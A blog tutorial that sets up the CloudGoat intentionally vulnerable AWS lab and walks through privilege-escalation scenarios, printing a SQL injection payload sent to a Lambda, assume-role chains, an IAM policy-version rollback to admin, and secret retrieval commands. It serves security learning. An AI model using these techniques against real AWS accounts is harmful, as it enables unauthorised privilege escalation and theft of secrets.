Cloud Security

Hi Everyone

I’m back with another blog on Deep Dive into AWS Cloud Security from scratch.

What is Cloud Security ?

  • Cloud security is a set of policies, strategies, controls, procedures, and practices designed to safeguard the data, resources, and applications hosted on the cloud.

Why to Learn Cloud Security ?

  • Cloud security is critical since most organizations are already using cloud computing in one form or another.
  • Worldwide end-user spending on public cloud services is forecast to grow 20.4% in 2022 to total $494.7 billion, up from $410.9 billion in 2021, according to the latest forecast from Gartner, Inc

Top Cloud Providers

From the above statistics, it shows Amazon AWS dominates the cloud industry, so i decided to start with AWS Cloud Security, but :(

So i started to look where i can create and deploy a vulnerable cloud enviroment for learning,i end up by finding CloudGoat.


CloudGoat is Rhino Security Labs "Vulnerable by Design" AWS deployment tool.

Set-Up Requirements

  1. Linux or Mac OS
  2. Python 3.6+
    apt install python3
  3. Terraform
    curl -fsSL | sudo apt-key add -
    sudo apt-add-repository "deb [arch=amd64] $(lsb_release -cs) main"
    sudo apt-get update && sudo apt-get install terraform
  4. AWS CLI
    curl "" -o ""
    sudo ./aws/install
  5. jq
    apt install jq

    Creating an AWS Administrator Account

    • Sign Up for an Amazon AWS Account.
    • After login, search for Identity & Access Management (IAM).
    • Choose Users —> Add users

  • Set username and choose AWS Credentials Type as Programmatic Access.

  • Choose Attach existing policies directly —> AdministratorAccess.

  • Give any tag name as shown below.

  • Review all the setting once and click on Create User.

Configuring AWS Profile

  • After creating the AWS Administrator Account use the following command to configure the AWS profile.
aws configure --profile cloudgoat #give any profile name

  • Check if the user is configured with the AWS access key and Secret Key to the corresponding profile.
aws iam get-user --profile cloudgoat

Installing CloudGoat

To install CloudGoat, make sure your system meets the requirements above.

git clone
cd cloudgoat
pip3 install -r ./requirements.txt

Configuring CloudGoat

  • Configure cloudgoat with the AWS profile, use the following command.
./ config profile
  • Whitelist the IP-Address automatically.
./ config whitelist --auto

Let's get started

Scenario: Vulnerable Lambda

Command: ./ create vulnerable_lambda

Scenario Resources

1 IAM User
1 IAM Role
1 Lambda
1 Secret

Scenario Start

IAM User ‘bilbo’

Scenario Goal

Find the scenario’s secret. (cg-secret-XXXXXX-XXXXXX)


In this scenario, you start as the ‘bilbo’ user. You will assume a role with more privelages, discover a lambda function that applies policies to users, and exploit a vulnerability in the function to escalate the privelages of the bilbo user in order to search for secrets.

Exploitation Route

Walkthrough - IAM User “bilbo”

  • Configure the AWS Profile for bilbo using the following command
aws configure --profile bilbo

  • Get permissions for the ‘bilbo’ user.
#This command will give you the ARN & full name of you user.
aws --profile bilbo --region us-east-1 sts get-caller-identity
#This command will list the policies attached to your user.
aws --profile bilbo --region us-east-1 iam list-user-policies --user-name [your_user_name]
#This command will list all of your permissions.
aws --profile bilbo --region us-east-1 iam get-user-policy --user-name [your_user_name] --policy-name [your_policy_name]

  • List all roles, assume a role for privesc.
#This command will list all the roles in your account, one of which should be assumable. 
aws --profile bilbo --region us-east-1 iam list-roles | grep cg-
# This command will list all policies for the target role
aws --profile bilbo --region us-east-1 iam list-role-policies --role-name [cg-target-role]
# This command will get you credentials for the cloudgoat role that can invoke lambdas.
aws --profile bilbo --region us-east-1 sts assume-role --role-arn [cg-lambda-invoker_arn] --role-session-name [whatever_you_want_here]

  • Configure the newly AWS profile using the generated AWS Credentials.

  • Manually add the SessionToken.
vi .aws/credentials

  • List lambdas to identify the target (vulnerable) lambda.
    # This command will show you all lambda functions. The function belonging to cloudgoat (the name should start with "cg-")
    # can apply a predefined set of aws managed policies to users (in reality it can only modify the bilbo user).
    aws --profile assumed_role --region us-east-1 lambda list-functions

  • Look at the lambda source code. You should see the database structure in a comment, as well as the code that is handling input parameters. It’s vulnerable to an injection, and we’ll see what an exploit looks like in the next step.
#This command will return a bunch of information about the lambda that can apply policies to bilbo.
#part of this information is a link to a url that will download the deployment package, which
#contains the source code for the function. Read over that source code to discover a vulnerability. 
aws --profile assumed_role --region us-east-1 lambda get-function --function-name [policy_applier_lambda_name]

  • Invoke the role applier lambda function, passing the name of the bilbo user and the injection payload.
    #The following command will send a SQL injection payload to the lambda function
    aws --profile assumed_role --region us-east-1 lambda invoke --function-name [policy_applier_lambda_name] --cli-binary-format raw-in-base64-out --payload '{"policy_names": ["AdministratorAccess'"'"' --"], "user_name": [bilbo_user_name_here]}' out.txt
    #cat the results to confirm everything is working properly
    cat out.txt

  • Now that Bilbo is an admin, use credentials for that user to list secrets from secretsmanager.
    #This command will list all the secrets in secretsmanager
    aws --profile bilbo --region us-east-1 secretsmanager list-secrets

#This command will get the value for a specific secret
aws --profile bilbo --region us-east-1 secretsmanager get-secret-value --secret-id [ARN_OF_TARGET_SECRET]

Scenario: IAM Privesc by Rollback

Command: ./ create iam_privesc_by_rollback

Scenario Resources

  • 1 IAM User
    • 5 policy versions

Scenario Start

IAM User “Raynor”

Scenario Goal

Acquire full admin privileges.


Starting with a highly-limited IAM user, the attacker is able to review previous IAM policy versions and restore one which allows full admin privileges, resulting in a privilege escalation exploit.

Exploitation Route

Walkthrough - IAM User “Raynor”

  • Configure the AWS Profile for raynor using the following command
aws configure --profile raynor

  • Get the username of the current AWS profile.
aws iam get-user --profile raynor

  • List the attached policies of the raynor user.
aws iam list-attached-user-policies --user-name [username] --profile raynor

  • View the Current Policy version.
aws iam get-policy --policy-arn <generatedARN>/cg-raynor-policy --profile raynor

  • Check the existing versions of the policy.
aws iam list-policy-versions --policy-arn <generatedARN>/cg-raynor-policy --profile raynor

Version 1

Note: An attacker with the iam:SetDefaultPolicyVersion permission may be able to escalate privileges through existing policy versions not currently in use. If a policy that they have access to has versions that are not the default, they would be able to change the default version to any other existing version.

Version 2

Note: The above shown policy allows all actions to all resources. This basically grants the user administrative access to the AWS account.

Version 3

Note: From the above image it can be observed that policy whitelists those two (2) IP subnets.

Version 4

Note: This policy allows this action “iam:Get*” to all AWS resources but only allows for a specified time period which has expired.

Version 5

Note: This allows only the following actions: “s3:ListBucket”, “s3:GetObject” and “s3:ListAllMyBuckets”.

  • Change the Policy Version from v1 —> v2 , because v2 has administrative privilege.
aws iam set-default-policy-version --policy-arn <generatedARN>/cg-raynor-policy --version-id <versionID> --profile raynor

  • Confirm the Administrative Privilege by creating a S3 Bucket.
aws s3api create-bucket --bucket [bucket-name] --region us-east-1 --profile raynor

Scenario: Lambda Privesc

Command: ./ create lambda_privesc

Scenario Resources

1 IAM User
2 IAM Roles

Scenario Start

  1. IAM User Chris

Scenario Goal

Acquire full admin privileges.


Starting as the IAM user Chris, the attacker discovers that they can assume a role that has full Lambda access and pass role permissions. The attacker can then perform privilege escalation to obtain full admin access.

Note: This scenario may require you to create some AWS resources, and because CloudGoat can only manage resources it creates, you should remove them manually before running ./cloudgoat destroy.

Exploitation Route

Walkthrough - IAM User “Chris”

  • Configure the AWS Profile for chris using the following command
aws configure --profile chris

  • Get the username of the current AWS profile.
aws iam get-user --profile chris

  • List the attached policies of the chris user.
aws iam list-attached-user-policies --user-name [username] --profile Chris

  • View the Current Policy version.
aws iam get-policy --policy-arn [arn-number] --profile chris

  • Check the existing versions of the policy.
aws iam list-policy-versions --policy-arn <cg-chris-policy arn> --profile chris

  • Details of the v1 version.
aws iam get-policy-version --policy-arn <cg-chris-policy arn> --version-id v1 --profile Chris

Note: It was observed that sts:AssumeRole is allowed. So an attacker would be able to change the assume role policy document of any existing role to allow them to assume that role.It will return a set of temporary security credentials that you can use to access AWS resources that you may not have access to normally.

  • List the roles of chris profile.
aws iam list-roles --profile chris

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